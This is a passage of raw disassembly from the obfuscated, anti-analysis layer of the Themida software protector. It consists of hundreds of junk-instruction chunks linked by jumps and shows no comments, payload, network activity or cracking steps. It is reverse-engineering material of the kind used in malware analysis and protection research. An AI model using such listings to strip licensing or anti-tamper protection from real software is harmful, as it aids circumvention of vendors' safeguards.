		add	eax, 4BED451Bh
		pop	esi
		jmp	loc_56855C
; ---------------------------------------------------------------------------


loc_55DD02:				; CODE XREF: Themida_:0055DC57j
		neg	eax
		push	eax
		dec	dword ptr [esp]
		pop	eax
		shr	eax, 7
		add	eax, 0FE871097h
		add	esi, eax
		pop	eax
		jmp	loc_55FB8F
; ---------------------------------------------------------------------------


loc_55DD19:				; CODE XREF: Themida_:00560B32j
		pop	edi
		shl	ebx, 7
		jmp	loc_55D856
; ---------------------------------------------------------------------------


loc_55DD22:				; CODE XREF: Themida_:00563AB2j
		push	dword ptr [esp]
		jmp	loc_56352B
; ---------------------------------------------------------------------------


loc_55DD2A:				; CODE XREF: Themida_:0056B6EEj
		push	ebp
		push	esi
		mov	ebp, [esp]
		add	esp, 4
		pop	esi
		or	ebp, 265A47F9h
		sub	esp, 4
		jmp	loc_5679F1
; ---------------------------------------------------------------------------


loc_55DD44:				; CODE XREF: Themida_:0057208Cj
		xor	ebx, 16E2481Ch
		add	esi, ebx
		pop	ebx
		jmp	loc_55E895
; ---------------------------------------------------------------------------


loc_55DD52:				; CODE XREF: Themida_:00568985j
		mov	[esp], ebp
		push	2C346B3Ah
		pop	ebp
		jmp	loc_55FE0E
; ---------------------------------------------------------------------------


loc_55DD60:				; CODE XREF: Themida_:00563C5Bj
		push	131C30E0h
		jmp	loc_5663A0
; ---------------------------------------------------------------------------


loc_55DD6A:				; CODE XREF: Themida_:0056DB90j
		and	bh, 71h
		add	bh, 57h
		add	al, bh
		jmp	loc_5645D5
; ---------------------------------------------------------------------------


loc_55DD77:				; CODE XREF: Themida_:00561E22j
		sub	esp, 4
		mov	[esp], eax
		push	ebx
		jmp	loc_57197F
; ---------------------------------------------------------------------------


loc_55DD86:				; CODE XREF: Themida_:0056F83Bj
		mov	edi, 4
		sub	ebp, 22F41FB7h
		jmp	loc_568E21
; ---------------------------------------------------------------------------


loc_55DD96:				; CODE XREF: Themida_:00571B45j
		mov	[esp], edx
		mov	edx, 10503636h
		add	eax, edx
		pop	edx
		sub	eax, ebx
		sub	esp, 4
		mov	[esp], edi
		push	eax
		push	264A4075h
		pop	eax
		xor	eax, 75215A3Bh
		mov	edi, eax
		pop	eax
		push	0
		sub	[esp], edi
		jmp	loc_55F262
; ---------------------------------------------------------------------------


loc_55DDC5:				; CODE XREF: Themida_:0056CE09j
		or	eax, eax
		jz	loc_5652A0
		push	1559h
		mov	[esp], ecx
		push	576h
		mov	[esp], eax
		push	904774Eh
		push	dword ptr [esp]
		pop	eax
		jmp	loc_56B559
; ---------------------------------------------------------------------------


loc_55DDEB:				; CODE XREF: Themida_:0055F3E3j
		push	edi
		mov	edi, 53726535h
		sub	ebx, edi
		pop	edi
		add	ebx, ecx
		add	ebx, 53726535h
		sub	ebx, 7F8A6F3Fh
		pop	ecx
		push	esi
		mov	esi, 509B3C33h
		push	ecx
		mov	ecx, 5E142E2Eh
		or	ecx, 46CA4C93h
		shl	ecx, 3
		not	ecx
		sub	ecx, 0C0ED13A8h
		jmp	loc_562D08
; ---------------------------------------------------------------------------


loc_55DE25:				; CODE XREF: Themida_:0055FEF3j
		add	eax, esi
		jmp	loc_56D4FC
; ---------------------------------------------------------------------------


loc_55DE2C:				; CODE XREF: Themida_:005690FCj
		mov	ebp, esp
		jmp	loc_56BC53
; ---------------------------------------------------------------------------


loc_55DE33:				; CODE XREF: Themida_:0056BC45j
		mov	[esp], ebp
		jmp	loc_5634C9
; ---------------------------------------------------------------------------


loc_55DE3B:				; CODE XREF: Themida_:00571823j
		pop	ebx
		push	esi
		jmp	loc_5725BE
; ---------------------------------------------------------------------------


loc_55DE42:				; CODE XREF: Themida_:00570B5Fj
		add	ecx, edx
		pop	edx
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		add	[esp+4], esi
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_55DE5C:				; CODE XREF: Themida_:0056F001j
		push	ebx
		jmp	loc_569C3E
; ---------------------------------------------------------------------------


loc_55DE62:				; CODE XREF: Themida_:00563411j
		add	esp, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ecx
		mov	ecx, 267879C2h
		xor	ecx, 18573C41h
		sub	ecx, 0EC4038B5h
		inc	ecx
		xor	ecx, 51EF0CCDh
		push	ecx
		jmp	loc_55EAA5
; ---------------------------------------------------------------------------


loc_55DE99:				; CODE XREF: Themida_:005617A6j
		push	esp
		pop	dword ptr [esp]
		add	dword ptr [esp], 4
		mov	edi, [esp]
		jmp	loc_569543
; ---------------------------------------------------------------------------


loc_55DEA9:				; CODE XREF: Themida_:0056FD69j
		sub	ecx, ebp
		add	ecx, 0C295DD5h
		jmp	loc_5604A1
; ---------------------------------------------------------------------------


loc_55DEB6:				; CODE XREF: Themida_:0056029Ej
		xor	[esp+4], ecx
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [edi+20h]
		jmp	loc_5651A6
; ---------------------------------------------------------------------------


loc_55DECB:				; CODE XREF: Themida_:0057196Bj
		xchg	eax, ecx
		shl	ecx, 4
		sub	ecx, 33D264D3h
		add	ecx, 3CDF0593h
		sub	ebp, ecx
		pop	ecx
		jmp	loc_55F61D

; =============== S U B	R O U T	I N E =======================================



sub_55DEE3	proc near		; CODE XREF: sub_571676-2FB0j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00564145 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056BDAD SIZE 0000001E BYTES

		push	ebx
		mov	bh, 5Ah
		push	ebx
		mov	bh, 34h
		mov	dl, 0FFh
		xor	dl, bh
		pop	ebx
		sub	dl, bh
		pop	ebx
		add	dl, 0C9h
		sub	dl, 24h
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		push	ebx
		mov	bl, 21h
		add	bl, 6Dh
		mov	ch, bl
		pop	ebx
		add	dl, ch
		jmp	loc_564145
sub_55DEE3	endp

; ---------------------------------------------------------------------------


loc_55DF0D:				; CODE XREF: Themida_:00565897j
		push	edx
		push	eax
		mov	eax, 0DBE18F0h
		jmp	loc_5727F6
; ---------------------------------------------------------------------------


loc_55DF19:				; CODE XREF: Themida_:0056E9E4j
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_565F75
; ---------------------------------------------------------------------------


loc_55DF26:				; CODE XREF: Themida_:0056842Cj
		neg	ecx
		inc	ecx
		jmp	loc_55E0DE
; ---------------------------------------------------------------------------


loc_55DF2E:				; CODE XREF: Themida_:00567BDFj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_568999
; ---------------------------------------------------------------------------


loc_55DF3C:				; CODE XREF: Themida_:0055FE7Aj
		mul	cl
		movzx	cx, ah
		push	small 43EEh
		mov	[esp], cx
		movzx	cx, al
		push	cx
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55DF56:				; CODE XREF: Themida_:00570562j
		add	esi, edx
		pop	edx
		add	esi, 4
		xchg	esi, [esp]
		jmp	loc_56E970
; ---------------------------------------------------------------------------


loc_55DF67:				; CODE XREF: Themida_:00561031j
		pop	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_570BCE
; ---------------------------------------------------------------------------


loc_55DF79:				; CODE XREF: Themida_:00560FABj
		mov	edi, 40277253h
		mov	ebp, 0D8D2B880h
		add	ebp, edi
		jmp	loc_56A1D7
; ---------------------------------------------------------------------------


loc_55DF8A:				; CODE XREF: Themida_:00563BACj
		push	esi
		mov	esi, 2DA7F59h
		jmp	loc_5659E1
; ---------------------------------------------------------------------------


loc_55DF95:				; CODE XREF: Themida_:0056E5E9j
		mov	ebp, 3546799Eh
		shr	ebp, 8
		add	ebp, 47C26F30h
		dec	ebp
		xor	ebp, 47F7B5ACh
		add	ebx, ebp
		pop	ebp
		push	5293h
		mov	[esp], ecx
		mov	ecx, 2
		push	eax
		mov	eax, 3A350E5Eh
		sub	ebx, eax
		mov	eax, [esp]
		add	esp, 4
		sub	ebx, ecx
		push	ebp
		mov	ebp, 2C0F2495h
		jmp	loc_5633C8
; ---------------------------------------------------------------------------


loc_55DFD8:				; CODE XREF: Themida_:0056E18Dj
		mov	[esp], edi
		pop	edx
		pop	edi
		mov	eax, edx
		pop	edx
		push	esi
		jmp	loc_56EA43
; ---------------------------------------------------------------------------


loc_55DFE6:				; CODE XREF: Themida_:0055D5F0j
		mov	[esp], ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		push	5B3Dh
		mov	[esp], ebx
		jmp	loc_56EF4A
; ---------------------------------------------------------------------------


loc_55DFFF:				; CODE XREF: Themida_:00561B52j
		pop	edi
		push	esi
		mov	esi, 0A16B9B5Ah
		sub	eax, 50272CFFh
		jmp	loc_56F735
; ---------------------------------------------------------------------------


loc_55E010:				; CODE XREF: Themida_:0056B014j
		push	40DAh
		mov	[esp], ebx
		jmp	loc_5659CA
; ---------------------------------------------------------------------------


loc_55E01D:				; CODE XREF: Themida_:0056165Cj
		add	ebx, 0EC216115h
		or	eax, ebx
		pop	ebx
		dec	eax
		not	eax
		add	eax, 2DE77C7Bh
		push	eax
		mov	eax, 526A0B3Bh
		not	eax
		shr	eax, 6
		dec	eax
		not	eax
		shr	eax, 7
		xor	eax, 5F27E57Ah
		add	ecx, eax
		pop	eax
		add	ecx, eax
		sub	ecx, 5EDD762Ah
		pop	eax
		push	edi
		mov	edi, 2
		jmp	loc_564883
; ---------------------------------------------------------------------------


loc_55E05B:				; CODE XREF: Themida_:00566D96j
		xor	ecx, [esp]
		jmp	loc_56397D
; ---------------------------------------------------------------------------


loc_55E063:				; CODE XREF: Themida_:0055D3DCj
		push	eax
		mov	eax, esp
		jmp	loc_56E08E
; ---------------------------------------------------------------------------


loc_55E06B:				; CODE XREF: Themida_:00560C39j
		sub	eax, 644549E1h
		mov	ecx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_568020
; ---------------------------------------------------------------------------


loc_55E084:				; CODE XREF: Themida_:00568D5Cj
		mov	esi, 4
		add	ebp, esi
		pop	esi
		jmp	loc_5627C8
; ---------------------------------------------------------------------------


loc_55E091:				; CODE XREF: Themida_:0056F476j
		add	esp, 4
		push	dword ptr [esp]
		jmp	loc_56F203
; ---------------------------------------------------------------------------


loc_55E09F:				; CODE XREF: Themida_:00568C51j
		mov	eax, [esp]
		jmp	loc_564F85
; ---------------------------------------------------------------------------


loc_55E0A7:				; CODE XREF: Themida_:0055E560j
		pop	esi
		mov	eax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_56F2BB
; ---------------------------------------------------------------------------


loc_55E0C1:				; CODE XREF: Themida_:0056FB9Aj
		pop	esp
		jmp	loc_56733D
; ---------------------------------------------------------------------------


loc_55E0C7:				; CODE XREF: Themida_:0055F08Ej
		push	ecx
		mov	ecx, 877478Ah
		add	ecx, 55003A38h
		xor	ecx, 5C2F95Fh
		jmp	loc_55E780
; ---------------------------------------------------------------------------


loc_55E0DE:				; CODE XREF: Themida_:0055DF29j
		add	ecx, 52BBFBCBh
		jmp	loc_5600CF
; ---------------------------------------------------------------------------


loc_55E0E9:				; CODE XREF: Themida_:005668D9j
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_56A2B8
; ---------------------------------------------------------------------------


loc_55E0F6:				; CODE XREF: Themida_:005672FEj
		mov	[esp], dx
		push	eax
		jmp	loc_57237D
; ---------------------------------------------------------------------------


loc_55E100:				; CODE XREF: Themida_:0055DB40j
		push	ebx
		jmp	loc_56FF7D
; ---------------------------------------------------------------------------


loc_55E106:				; CODE XREF: Themida_:00570C18j
		add	[ebx], ebp
		jmp	loc_56DD5F
; ---------------------------------------------------------------------------


loc_55E10D:				; CODE XREF: Themida_:00561EB1j
		sub	esi, 4
		xchg	esi, [esp]
		jmp	loc_560BEC
; ---------------------------------------------------------------------------


loc_55E118:				; CODE XREF: Themida_:00564422j
		pop	esp
		mov	[esp], eax
		jmp	loc_561856
; ---------------------------------------------------------------------------


loc_55E121:				; CODE XREF: Themida_:00568603j
		add	bl, al
		sub	bl, 0EAh
		push	small 673Bh
		mov	[esp], cx
		mov	cl, 37h
		push	eax
		mov	ah, 58h
		shr	ah, 7
		shr	ah, 5
		sub	ah, 7Bh
		add	bl, ah
		pop	eax
		jmp	loc_566C1D
; ---------------------------------------------------------------------------


loc_55E144:				; CODE XREF: Themida_:00568DF5j
		sub	ecx, 4
		jmp	loc_566D07
; ---------------------------------------------------------------------------


loc_55E14C:				; CODE XREF: Themida_:005628FEj
		mov	ch, ah
		mov	eax, [esp]
		add	esp, 4
		mov	ebx, [esp]
		add	esp, 4
		push	small 1BB9h
		jmp	loc_57132B
; ---------------------------------------------------------------------------


loc_55E163:				; CODE XREF: Themida_:0057260Fj
		cmp	ecx, eax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55E16B:				; CODE XREF: Themida_:00565A6Aj
		and	edi, 172A1C77h
		or	edi, 14F94AC3h
		jmp	loc_560B2A
; ---------------------------------------------------------------------------


loc_55E17C:				; CODE XREF: Themida_:0055DC07j
		mov	eax, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		push	ecx
		push	edi
		mov	edi, 2B550222h
		xor	edi, 44102FBh
		xor	edi, 63C31633h
		jmp	loc_56F38A
; ---------------------------------------------------------------------------


loc_55E1A0:				; CODE XREF: Themida_:005651F0j
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 7E4005Dh
		add	ebp, 1
		push	0
		sub	[esp], ebp
		pop	ebp
		sub	ebp, 576C07DEh
		neg	ebp
		add	ebp, 0A0AFF7C8h
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	esi
		mov	esi, 4
		add	ecx, 3AF42534h
		add	ecx, esi
		sub	ecx, 3AF42534h
		jmp	loc_570297
; ---------------------------------------------------------------------------


loc_55E1E3:				; CODE XREF: Themida_:00566919j
		xor	edx, 7FA22909h
		push	ebx
		mov	ebx, 9E2F6B57h
		jmp	loc_563186
; ---------------------------------------------------------------------------


loc_55E1F4:				; CODE XREF: Themida_:0056BB3Fj
		add	[esp+4], eax
		jmp	loc_563E4A
; ---------------------------------------------------------------------------


loc_55E1FD:				; CODE XREF: Themida_:0056D1DCj
		pop	ebp
		push	ecx
		mov	ecx, 19460E84h
		add	ebx, ecx
		pop	ecx
		add	ebx, eax
		jmp	loc_55EB1C
; ---------------------------------------------------------------------------


loc_55E20E:				; CODE XREF: Themida_:00563B00j
		not	ecx
		jmp	loc_571A13
; ---------------------------------------------------------------------------


loc_55E215:				; CODE XREF: Themida_:00567926j
		push	edx
		mov	edx, 4
		add	ebp, edx
		pop	edx
		jmp	loc_55E5E5
; ---------------------------------------------------------------------------


loc_55E223:				; CODE XREF: Themida_:00565D5Dj
		sub	esp, 4
		mov	[esp], edx
		push	esp
		jmp	loc_56A334
; ---------------------------------------------------------------------------


loc_55E22F:				; CODE XREF: Themida_:00564539j
		push	4541h
		mov	[esp], ecx
		mov	ecx, 4
		add	ebp, 3FC75C30h
		add	ebp, ecx
		sub	ebp, 3FC75C30h
		jmp	loc_56D103
; ---------------------------------------------------------------------------


loc_55E24F:				; CODE XREF: Themida_:0056AC2Dj
		push	dword ptr [esp]
		jmp	loc_56D352
; ---------------------------------------------------------------------------


loc_55E257:				; CODE XREF: Themida_:0055EA65j
		mov	edx, 2FE236FAh
		neg	edx
		xor	edx, 1806C46h
		shr	edx, 2
		push	0
		sub	[esp], edx
		pop	edx
		add	edx, 0AFFE5DB0h
		sub	esi, edx
		pop	edx
		add	ebp, 5DDD3615h
		sub	ebp, 69554C55h
		add	ebp, esi
		jmp	loc_55D568
; ---------------------------------------------------------------------------


loc_55E28C:				; CODE XREF: Themida_:005709FBj
		pop	esi
		pop	eax
		jmp	loc_566B02
; ---------------------------------------------------------------------------


loc_55E293:				; CODE XREF: Themida_:00566B97j
		add	eax, esi
		pop	esi
		add	eax, ecx
		sub	eax, 110130AFh
		add	eax, 6DAA1315h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_56D748
; ---------------------------------------------------------------------------


loc_55E2B1:				; CODE XREF: Themida_:0055E6B7j
		shr	ebp, 1
		shl	ebp, 1
		push	978h
		jmp	loc_570A3C
; ---------------------------------------------------------------------------


loc_55E2BF:				; CODE XREF: Themida_:0056676Aj
		mov	ebx, esp
		jmp	loc_56347E
; ---------------------------------------------------------------------------


loc_55E2C6:				; CODE XREF: Themida_:0055FFBBj
		add	ebx, 66B1EE8h
		sub	ebx, 21CB0164h
		jmp	loc_5675DA
; ---------------------------------------------------------------------------


loc_55E2D7:				; CODE XREF: Themida_:0056A6D3j
		mov	si, 1
		add	bx, si
		jmp	loc_56BD84
; ---------------------------------------------------------------------------
		lodsd
		xor	eax, ebx
		push	2EAh
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_55F5E6
; ---------------------------------------------------------------------------


loc_55E2FB:				; CODE XREF: Themida_:00564F09j
		mov	[esp], eax
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55E303:				; CODE XREF: Themida_:0056609Ej
		push	edi
		push	6EE8D0AFh
		pop	edi
		xor	esi, edi
		pop	edi
		and	edx, esi
		pop	esi
		xor	edx, 51F63B84h
		push	0E76h
		mov	[esp], eax
		mov	eax, 683475BCh
		push	edi
		mov	edi, 10D8320Dh
		xor	eax, edi
		pop	edi
		or	edx, eax
		pop	eax
		push	esi
		mov	esi, 789901B4h
		sub	edx, esi
		pop	esi
		shl	edx, 4
		jmp	loc_5625C2
; ---------------------------------------------------------------------------


loc_55E340:				; CODE XREF: Themida_:0056BBE3j
		mov	edi, 3BFCCF22h
		jmp	loc_56D643
; ---------------------------------------------------------------------------


loc_55E34A:				; CODE XREF: Themida_:00572383j
		mov	[esp], ecx
		mov	cl, 0E6h
		push	eax
		mov	ah, 3Ch
		xor	cl, ah
		pop	eax
		shr	cl, 4
		neg	cl
		add	cl, 1
		or	cl, 0Fh
		xor	cl, 0CFh
		mov	al, cl
		pop	ecx
		mov	dl, al
		pop	eax
		add	al, 0FDh
		add	al, 0C3h
		add	al, dl
		sub	al, 0C3h
		push	ecx
		push	ebx
		mov	bl, 0Fh
		sub	bl, 0DBh
		mov	ch, bl
		jmp	loc_563C4C
; ---------------------------------------------------------------------------


loc_55E37F:				; CODE XREF: Themida_:0056EAB5j
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56FE08
; ---------------------------------------------------------------------------


loc_55E38A:				; CODE XREF: Themida_:0056474Aj
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		jmp	loc_560B58
; ---------------------------------------------------------------------------


loc_55E39C:				; CODE XREF: Themida_:005606B7j
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	5102h
		mov	[esp], edi
		jmp	loc_563655
; ---------------------------------------------------------------------------


loc_55E3BE:				; CODE XREF: Themida_:0055E7ABj
		add	esp, 4
		jmp	loc_5722B0
; ---------------------------------------------------------------------------


loc_55E3C6:				; CODE XREF: Themida_:0055F2E1j
		mov	ebx, [esp]
		add	esp, 4
		xchg	edx, [esp]
		mov	esp, [esp]
		movzx	cx, al
		jmp	loc_560647
; ---------------------------------------------------------------------------


loc_55E3DE:				; CODE XREF: Themida_:0055F1DAj
		push	edx
		sub	dword ptr [esp], 0DD44B4Bh
		jmp	loc_561279
; ---------------------------------------------------------------------------


loc_55E3EB:				; CODE XREF: Themida_:0056490Aj
		push	edi
		mov	edi, 1E68575Eh
		jmp	loc_560B18
; ---------------------------------------------------------------------------


loc_55E3F6:				; CODE XREF: Themida_:00571319j
		add	edx, esi
		sub	edx, 36133D5Dh
		jmp	loc_570C6B
; ---------------------------------------------------------------------------


loc_55E403:				; CODE XREF: Themida_:0055F5AAj
		push	6884h
		mov	[esp], ebp
		jmp	loc_56A725
; ---------------------------------------------------------------------------


loc_55E410:				; CODE XREF: Themida_:005704AEj
		xor	ecx, ebp
		pop	ebp
		push	edi
		mov	edi, 6BA00268h
		sub	edi, 0FF389E20h
		add	edx, edi
		jmp	loc_56311A
; ---------------------------------------------------------------------------


loc_55E426:				; CODE XREF: Themida_:00570A20j
		add	al, ch
		add	al, 14h
		add	al, 1Eh
		mov	ecx, [esp]
		add	esp, 4
		add	bl, 0E5h
		push	5EF7h
		mov	[esp], ecx
		mov	cl, 30h
		inc	cl
		add	cl, 23h
		sub	cl, 7
		sub	cl, 94h
		jmp	loc_565F61
; ---------------------------------------------------------------------------


loc_55E44F:				; CODE XREF: Themida_:00566320j
		add	esp, 4
		push	esi
		jmp	loc_563E8B
; ---------------------------------------------------------------------------


loc_55E45B:				; CODE XREF: Themida_:0056D019j
		add	eax, 660167Fh
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		jmp	loc_569C68
; ---------------------------------------------------------------------------


loc_55E46C:				; CODE XREF: Themida_:00564DE8j
		push	eax
		mov	al, 8Dh
		dec	al
		inc	al
		dec	al
		sub	al, 65h
		sub	bl, al
		mov	eax, [esp]
		add	esp, 4
		sub	bl, 3Ah
		add	bl, ch
		add	bl, 3Ah
		push	eax
		mov	al, 0C7h
		inc	al
		inc	al
		push	ebx
		jmp	loc_569CE8
; ---------------------------------------------------------------------------


loc_55E494:				; CODE XREF: Themida_:0056F99Ej
		mov	ebp, eax
		jmp	loc_569BC6
; ---------------------------------------------------------------------------


loc_55E49B:				; CODE XREF: Themida_:0056A4D0j
		sub	eax, 4
		push	eax
		jmp	loc_560D58
; ---------------------------------------------------------------------------


loc_55E4A6:				; CODE XREF: Themida_:00564EE1j
		add	esp, 4
		add	eax, 20B85B6Fh
		add	eax, ebx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 20B85B6Fh
		sub	eax, edx
		pop	edx
		mov	ebx, [esp]
		add	esp, 4
		push	ebx
		mov	ebx, 4
		add	eax, ebx
		pop	ebx
		sub	esp, 4
		mov	[esp], eax
		push	dword ptr [esp+4]
		pop	eax
		jmp	loc_56F27C
; ---------------------------------------------------------------------------


loc_55E4E3:				; CODE XREF: Themida_:00562F31j
		mov	dx, [esp]
		sub	esp, 4
		mov	[esp], edi
		push	esp
		jmp	loc_55F8E2
; ---------------------------------------------------------------------------


loc_55E4F3:				; CODE XREF: Themida_:00561EEDj
		push	esp
		pop	ecx
		add	ecx, 4
		push	ebp
		jmp	loc_56E9A1
; ---------------------------------------------------------------------------


loc_55E501:				; CODE XREF: Themida_:0056A0F7j
		push	0C00h
		mov	[esp], ecx
		mov	ecx, esp
		push	eax
		mov	eax, 4
		add	ecx, eax
		jmp	loc_56E445
; ---------------------------------------------------------------------------


loc_55E518:				; CODE XREF: Themida_:00564440j
		push	edi
		inc	dword ptr [esp]
		pop	edi
		shr	edi, 3
		jmp	loc_55FFF4
; ---------------------------------------------------------------------------


loc_55E525:				; CODE XREF: Themida_:005698DEj
		mov	eax, 51A80009h
		xor	[esp+4], eax
		pop	eax
		jmp	loc_56C0DE
; ---------------------------------------------------------------------------


loc_55E534:				; CODE XREF: Themida_:0056A00Bj
		shl	ecx, 5
		or	ecx, 45AD53E2h
		add	ecx, 0B3B364Bh
		push	ecx
		xor	dword ptr [esp], 524774FBh
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		xor	esi, 524774FBh
		pop	ecx
		xor	[esp+4], esi
		jmp	loc_55E0A7
; ---------------------------------------------------------------------------


loc_55E565:				; CODE XREF: Themida_:0056CD3Dj
		pop	esp
		xor	eax, ebp
		mov	ebp, [esp]
		push	eax
		jmp	loc_564288
; ---------------------------------------------------------------------------


loc_55E571:				; CODE XREF: Themida_:00564022j
		mov	esi, 3D050E1h
		not	esi
		jmp	loc_56C97B
; ---------------------------------------------------------------------------


loc_55E57D:				; CODE XREF: Themida_:0056F983j
		pop	esp
		push	esi
		mov	esi, 4
		add	ebp, esi
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_5639ED
; ---------------------------------------------------------------------------


loc_55E590:				; CODE XREF: Themida_:0056BDA8j
		inc	esi
		add	esi, 0E15FFD81h
		push	ebp
		mov	ebp, 7D08307Fh
		or	ebp, 735309B0h
		sub	ebp, 62862C97h
		xor	ebp, 12DF1535h
		add	edi, ebp
		pop	ebp
		add	edi, esi
		sub	edi, 0E0A185Dh
		mov	esi, [esp]
		add	esp, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_571CD1
; ---------------------------------------------------------------------------


loc_55E5D2:				; CODE XREF: Themida_:00565DB5j
		add	ch, 48h
		add	dl, ch
		pop	ecx
		push	small 5CF4h
		mov	[esp], dx
		jmp	loc_56CA3C
; ---------------------------------------------------------------------------


loc_55E5E5:				; CODE XREF: Themida_:0055E21Ej
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	ebx
		jmp	loc_56B5E9
; ---------------------------------------------------------------------------


loc_55E5F7:				; CODE XREF: Themida_:0056C58Bj
		mov	edi, eax
		pop	eax
		add	ecx, edi
		pop	edi
		jmp	loc_568782
; ---------------------------------------------------------------------------


loc_55E602:				; CODE XREF: Themida_:0056881Cj
		mov	ecx, 60982925h
		jmp	loc_56EB5F
; ---------------------------------------------------------------------------


loc_55E60C:				; CODE XREF: Themida_:005729E7j
		sub	esi, 0C152459h
		push	esi
		not	dword ptr [esp]
		pop	esi
		jmp	loc_560A9E
; ---------------------------------------------------------------------------


loc_55E61C:				; CODE XREF: Themida_:0056F33Bj
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_55D5D4
; ---------------------------------------------------------------------------


loc_55E62F:				; CODE XREF: Themida_:0055E6A7j
		xor	edx, [esp]
		xor	[esp], edx
		pop	ebp
		shl	ebp, 3
		push	esi
		mov	esi, 2FF95B9Dh
		shl	esi, 3
		shr	esi, 3
		sub	esi, 0D58DC1D1h
		sub	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		add	ecx, 78B11505h
		sub	ecx, 3B104F41h
		add	ecx, ebp
		add	ecx, 3B104F41h
		sub	ecx, 78B11505h
		pop	ebp
		push	edi
		jmp	loc_568644
; ---------------------------------------------------------------------------


loc_55E674:				; CODE XREF: Themida_:00562379j
		sub	ecx, 6995755Eh
		jmp	loc_567EB0
; ---------------------------------------------------------------------------


loc_55E67F:				; CODE XREF: Themida_:00569F19j
		dec	esi
		and	esi, 42781F24h
		add	esi, 27044C55h
		jmp	loc_56B98E
; ---------------------------------------------------------------------------


loc_55E691:				; CODE XREF: Themida_:00562ED3j
		push	62B3h
		mov	[esp], edx
		push	esp
		push	dword ptr [esp]
		jmp	loc_563114
; ---------------------------------------------------------------------------


loc_55E6A2:				; CODE XREF: Themida_:0056FEBBj
		not	edx
		xor	[esp], edx
		jmp	loc_55E62F
; ---------------------------------------------------------------------------


loc_55E6AC:				; CODE XREF: Themida_:005691DEj
		mov	ebp, 3B1F2B82h
		xor	ebp, 1EAA1DA7h
		jmp	loc_55E2B1
; ---------------------------------------------------------------------------


loc_55E6BC:				; CODE XREF: Themida_:005629BCj
		push	edx
		jmp	loc_5629DC
; ---------------------------------------------------------------------------


loc_55E6C2:				; CODE XREF: Themida_:0056028Fj
		mov	esi, 2A43688h
		jmp	loc_569622
; ---------------------------------------------------------------------------


loc_55E6CC:				; CODE XREF: Themida_:00570016j
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 7A9766F0h
		inc	ecx
		dec	ecx
		jmp	loc_56E151
; ---------------------------------------------------------------------------


loc_55E6E2:				; CODE XREF: Themida_:00565234j
		pop	eax
		sub	[esp+4], ecx
		pop	ecx
		pop	ecx
		push	ebp
		mov	ebp, 77F61EF7h
		add	ecx, ebp
		jmp	loc_56BBCE
; ---------------------------------------------------------------------------


loc_55E6F6:				; CODE XREF: Themida_:005604BAj
		pop	ecx
		add	eax, 4
		jmp	loc_56DD2C
; ---------------------------------------------------------------------------


loc_55E6FF:				; CODE XREF: Themida_:00566594j
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		add	esp, 4
		add	ebx, 79C94C7Ah
		sub	ebx, eax
		push	ecx
		mov	ecx, 79C94C7Ah
		sub	ebx, ecx
		pop	ecx
		push	ecx
		mov	ecx, 40883F8Dh
		add	ebx, ecx
		pop	ecx
		jmp	loc_5676A2
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	[esp], ax
		pushf
		jmp	loc_55D2ED
; ---------------------------------------------------------------------------


loc_55E73E:				; CODE XREF: Themida_:00560B13j
		push	1AEDh
		mov	[esp], ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_55D334
; ---------------------------------------------------------------------------


loc_55E75F:				; CODE XREF: Themida_:0056E1F8j
		add	eax, 4BC81C63h
		sub	eax, 58E4748Ch
		add	eax, ebp
		add	eax, 58E4748Ch
		sub	eax, 4BC81C63h
		pop	ebp
		push	5BF3h
		jmp	loc_56A60D
; ---------------------------------------------------------------------------


loc_55E780:				; CODE XREF: Themida_:0055E0D9j
		sub	eax, ecx
		pop	ecx
		pop	edx
		jmp	loc_562C43
; ---------------------------------------------------------------------------


loc_55E789:				; CODE XREF: Themida_:00564A1Fj
		push	20D0h
		push	esp
		pop	dword ptr [esp]
		jmp	loc_561A57
; ---------------------------------------------------------------------------


loc_55E797:				; CODE XREF: Themida_:00562AA8j
		mov	esi, 584E1851h
		jmp	loc_5701DE
; ---------------------------------------------------------------------------


loc_55E7A1:				; CODE XREF: Themida_:00564B54j
